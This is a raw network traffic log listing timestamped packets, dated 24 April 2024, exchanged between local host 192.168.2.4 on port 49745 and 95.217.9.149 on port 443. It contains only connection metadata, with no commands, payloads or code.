Apr 24, 2024 17:47:14.935810089 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.935822964 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.935870886 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.960135937 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.960154057 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.960232973 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.960244894 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.960289955 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.980346918 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.980360985 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.980441093 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.980457067 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.980509043 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.001547098 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.001562119 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.001616955 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.001632929 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.001663923 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.001686096 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.023338079 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.023355961 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.023411989 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.023433924 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.023473978 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.041574001 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.041590929 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.041657925 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.041676044 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.041714907 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.061633110 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.061649084 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.061711073 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.061723948 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.061763048 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.077167988 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.077183008 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.077251911 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.077263117 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.077300072 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.095716953 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.095732927 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.095818043 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.095829010 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.095870018 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.110937119 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.110953093 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.111030102 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.111040115 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.111078978 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.127991915 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.128010988 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.128052950 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.128063917 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.128094912 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.128109932 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.143163919 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.143177032 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.143230915 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.143248081 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.143270969 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.143281937 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.156693935 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.156706095 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.156794071 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.156853914 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.156913996 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.169790030 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.169802904 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.169897079 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.169956923 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.170043945 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.184555054 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.184568882 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.184653044 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.184669971 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.184719086 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.197462082 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.197474957 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.197537899 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.197551012 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.197604895 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.209222078 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.209235907 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.209302902 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.209316015 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.209414959 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.223609924 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.223624945 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.223689079 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.223702908 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.223747969 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.234345913 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.234359980 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.234461069 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.234472990 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.234541893 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.245076895 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.245090008 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.245155096 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.245177984 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.245232105 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.255875111 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.255883932 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.255959988 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.255975008 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.256172895 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.267473936 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.267487049 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.267585993 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.267601967 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.267704964 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.278323889 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.278337002 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.278393984 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.278410912 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.278455019 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.287982941 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.287995100 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.288058996 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.288074970 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.288134098 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.298780918 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.298795938 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.298854113 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.298870087 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.298914909 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.308094978 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.308114052 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.308162928 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.308180094 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.308207989 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.308281898 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.317950964 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.317965031 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.318049908 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.318067074 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.318124056 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.326817036 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.326831102 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.326900959 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.326917887 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.326970100 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.336910963 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.336924076 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.336992979 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.337009907 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.337065935 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.345513105 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.345530033 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.345608950 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.345627069 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.345688105 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.354821920 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.354836941 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.354883909 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.354902029 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.354926109 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.355000019 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.364342928 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.364357948 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.364425898 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.364444017 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.364495993 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.372652054 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.372668028 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.372752905 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.372771978 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.372828007 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.381936073 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.381952047 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.382025957 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.382046938 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.382103920 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.390038967 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.390054941 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.391032934 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.391047955 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.391124964 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.398684025 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.398699999 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.398765087 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.398782969 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.398986101 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.406495094 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.406508923 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.406765938 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.406827927 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.406888008 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.415887117 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.415900946 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.415992975 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.416007042 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.416105986 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.424434900 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.424449921 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.424532890 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.424546957 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.424597025 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.432563066 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.432578087 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.432643890 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.432665110 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.432689905 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.432765961 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.441416025 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.441430092 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.441495895 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.441509008 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.441555023 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.449441910 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.449457884 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.449512005 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.449526072 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.449579000 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.455972910 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.455988884 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.456046104 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.456063986 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.456120968 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.463386059 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.463398933 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.463455915 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.463469028 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.463525057 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.472522020 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.472537041 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.472614050 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.472626925 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.472677946 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.478842974 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.478856087 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.478918076 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.478930950 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.478984118 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.485922098 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.485938072 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.486002922 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.486016035 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.486066103 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.493060112 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.493074894 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.493139982 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.493151903 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.493201017 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.500454903 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.500483990 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.500547886 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.500560999 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.500611067 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.506706953 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.506722927 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.506803036 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.506818056 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.506867886 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.513319969 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.513336897 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.513396978 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.513412952 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.513573885 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.520457983 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.520473003 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.520555973 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.520575047 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.520631075 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.526446104 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.526459932 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.526531935 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.526545048 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.526597023 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.533303976 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.533318996 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.533375025 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.533386946 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.533413887 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.533827066 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.539858103 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.539872885 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.539935112 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.539947987 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.539999008 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.545475006 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.545489073 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.545572996 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.545588017 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.545638084 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.551234961 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.551249027 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.551311016 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.551322937 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.551373005 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.557605982 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.557619095 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.557677031 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.557693958 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.557744980 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.563640118 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.563672066 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.563740969 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.563751936 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.563802004 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.569957972 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.569971085 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.570033073 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.570044994 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.570096970 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.576103926 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.576119900 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.576179028 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.576191902 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.576241970 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.581461906 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.581475973 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.581537008 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.581548929 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.581598997 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.587135077 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.587148905 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.587223053 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.587234974 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.587285995 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.592292070 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.592304945 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.592365026 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.592375994 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.592691898 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.598213911 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.598227978 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.598290920 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.598303080 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.598351955 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.603434086 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.603457928 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.603502035 CEST	49745	443	192.168.2.4	95.217.9.149
